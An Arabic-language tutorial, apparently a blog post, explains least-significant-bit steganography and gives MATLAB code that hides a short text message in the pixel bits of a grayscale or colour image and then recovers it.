إخفاء نص داخل صورة (Hide Text in Image By Matlab)

بكل طرق التشفير يبقى هناك نص للبيانات عندما تعترض من قبل العدو يشكك في كونها رسالة مشفرة ويحاول ان يفكها بكل طرق التشفير فمثلا طرق تشفير التي نعرفها مشهورة حاليا يعرفها الجميع ومثلما نستطيع ان نشفر نص بها  يستطيع العدو ان يحاول فك النص بها .حتى طرق تشفير جديدة التي نحن نبنيها لا يعرفها غيرنا يبقى العدو يحاول فكها. الذي نريده نحن ان معترض الرسالة (العدو) لا يشك اصلا بوجود رسالة مشفرة لأننا سنخفيها داخل صورة فلا يفكر اصلا بوجود نص مشفر او نخفيها بصورة بين 100 صورة مرسلة فيصعب على المعترض إيجادها ومن ثم فكها.
هناك طرق عديدة لإخفاء نص داخل صورة معينة وأفضلها وضع النص في LSB لكل Gray Scale حيث يمثل هذا البت رقم واحد فقط مثلا اذا كان في Gray Scale معين رقم زوجي يكون LSB صفر واذا فردي يكون واحد أي إننا اذا غيرنا هذا البت بواسطة اخفاء بيانات في داخله  أي تغير في قيمته لا يؤثر على الصورة كثيرا فهو يغير الأضائه بمقدار واحد فقط من اصل 255 أي لا يسبب بأثر واضح يجعل الشخص يشك بوجود نص مشفر داخل الصورة أي مثلا لو كان Gray Scale لموقع معين (161) لو خزنا  في LSB له قيمة (0 ) يصبح  Gray Scaleلهذا الموقع يساوي 160 ولو خزنا فيه (1) يبقى (161 )

خطوات الإخفاء على صورة عادية gray
1.    نقرئ الصورة  الملونة وثم نحولها الى عادية وبعدها نجد ابعاد المصفوفة وتساعدنا ابعاد المصفوفة على اعادة الصورة الى شكلها الاصلي بعد خزن النص في داخلها
Matlab Code 2d gray image
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
imageDCE=rgb2gray(x);
 [r c]=size( imageDCE);



2.    نحول الصورة الى النظام الثنائي(Binary)  حتى نستطيع ان نغير البت الثامن الايمن LSB

Matlab Code 2d gray image
imageBIN=dec2bin( imageDCE);


3.    ندخل النص المرد إخفائه ونحوله الى AScii Code ومنه الى النظام الثنائي ونجد عدد الصفوف وعدد الأعمدة له حتى نستطيع ان ننقل بايتات كل حرف الى داخل البتLSB في الصورة حيث كل بايت من بايتات الحرف سيخزن في البنت الثامن الأيسر لموقع معين في الصورة

Matlab Code 2d gray image
text='hi';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
 

4.    ألان نخزن كل بت من البتات السبعة من  كل حرف داخل صف من صفوف الصورة في العمود الثامن الذي يمثل LSB ثم ننتقل للبت المقابل في الكلمة الثانية ونستمر حتى اخر حرف ثم نرجع لثاني بت بأول كلمة ثم ثاني بت بثاني كلمة ونستمر. أي كلما ازداد حجم النص ازدادت صعوبة فك شفرة شاهد الصورة  لا يعرف المعترض ماهي بنات الصورة وما هي بتات النص
Matlab Code 2d gray image
for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end

بواسطة i نحدد من أي موقع داخل الصورة نبدأ بعملية الإخفاء








5.    ألان أخفينا النص داخل الصورة ألان نحول الصورة من النظام الثنائي الى النظام العشري ونعيد ابعاد المصفوفة الى أبعادها الاولية باستخدام داخلة reshape  ونشاهد ان الصورة تحولت بصيغية رقم واحد نستخدم دالة   uint8 لنعيدها الى صيغة رقم عشري بثمانية بت
Matlab Code 2d gray image
ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
6.    نقوم برسم الصورة قبل وبعد خزن النص في داخلها

Matlab Code 2d gray image
subplot(1,2,1)
 imshow(imageDCE)
 subplot(1,2,2)
 imshow(ENCimageDCE)



 


اعادة النص المشفر من الصورة
1.    نحول الصورة التي اخفينا النص في داخله  الى صيغة النظام الثنائي
Matlab Code 2d gray image
  decriptext=dec2bin(ENCimageDCE);
2.    ناخذ البت الثامن من كل صف ونخزنه في مصفوفة جديدة ونلاحظ انه يجب ان يرسل لنا صاحب الرسالة المشفرة عدد صفوف وعدد اعمدة النص المشفر ومن اين يبدأ التشفير داخل الصورة حتى نستطيع أخراجه .   في هذه الحالة يجب ان نقول للمستلم الصورة توضيح عن النص المرسل وهو نقول له عدد الاحرف rt وعدد Bit لكل حرف  ct   حتى نستطيع ارجاع النص من داخل الصورة (مثلا النص الخزن داخل الصورة هوا 17 حرف كل   حرف من 8 بت اي rt=17,ct=8 )  
Matlab Code 2d gray image

 textbin=decriptext(1:rt*ct,8);
3.    نعيد تحجيم المصفوفة النص الى شكلها الأولي بصيغة النظام الثنائي ونحولها من النظام الثنائي الى النظام العشري .
Matlab Code 2d gray image
ascimessage=bin2dec(reshape(textbin ,rt,ct ) );
4.    نحول البيانات من العشري الى الحروف ونضع علامة (‘) لكي تعرض بشكل صفوف


Matlab Code 2d gray image
 messageDEc= char(ascimessage)' 


 

كود برنامج الإخفاء وإعادة النصوص كامل لصورة عادية
Matlab Code 2d gray image
clc
 clear
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
text='bad friend maked you bad';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
%we use 2D image tospeed op.
 imageDCE=rgb2gray(x);
 %we use one line to relase line of code
 %imageDCE=imageDCE(1:4,1:4);
 %saved old shap it convert to one line
 [r c]=size( imageDCE);
 % convert image to binary
imageBIN=dec2bin( imageDCE); % cover it to one col 8bit and  row=r*c

% imageBIN(:,8)=0; % put zero in all LSB in image
 for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end
 %imageBIN(:,8)=binasc(1:end)
 % UINT8 Convert to unsigned 8-bit integer. becuse it convert to one bit
 ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
% ENCimageDCE(1:rt*ct)=0; to show area of hide
 subplot(1,2,1)
 imshow(imageDCE)
 subplot(1,2,2)
 imshow(ENCimageDCE)
% figure
 %imageBIN(1:rt*ct,:)=0;
 % ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
 %imshow(ENCimageDCE)
 % to sure of encrption binasc(1:8),imageBIN(1:8,8) show that who image is
 % encripted
 decriptext=dec2bin(ENCimageDCE);
 textbin=decriptext(1:rt*ct,8);
 ascimessage=bin2dec(reshape(textbin ,rt,ct ) );
 messageDEc= char(ascimessage)'
كود برنامج الإخفاء وإعادة النصوص كامل لصورة  ملونة

Matlab Code 3d rgb
clc
 clear
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
text='hi';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
%we use 2D image tospeed op.
 %imageDCE=rgb2gray(x);

 %we use one line to relase line of code// show who image effect by text
% imageDCE=imageDCE(1:4,1:4);
 %saved old shap it convert to one line
 %[r c]=size( imageDCE);
  %if we use 3D image--------------
   [r c f]=size( x);
   imageBIN=dec2bin( x);
   %------------------------
 % convert image to binary
%imageBIN=dec2bin( imageDCE); % cover it to one col 8bit and  row=r*c

% imageBIN(:,8)=0; % put zero in all LSB in image
 for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end
 %imageBIN(:,8)=binasc(1:end)
 % UINT8 Convert to unsigned 8-bit integer. becuse it convert to one bit
 ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c,f ));
 subplot(1,2,1)
 imshow(x)
 subplot(1,2,2)
 imshow(ENCimageDCE)
% figure
 %imageBIN(1:rt*ct,:)=0;
 % ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
 %imshow(ENCimageDCE)
 % to sure of encrption binasc(1:8),imageBIN(1:8,8) show that who image is
 % encripted
 decriptext=dec2bin(ENCimageDCE);
 textbin=decriptext(1:rt*ct,8);
 ascimessage=bin2dec(reshape(textbin ,rt,ct ) );
 messageDEc= char(ascimessage)'

تحميل المقالة من هنا او حمل من هنا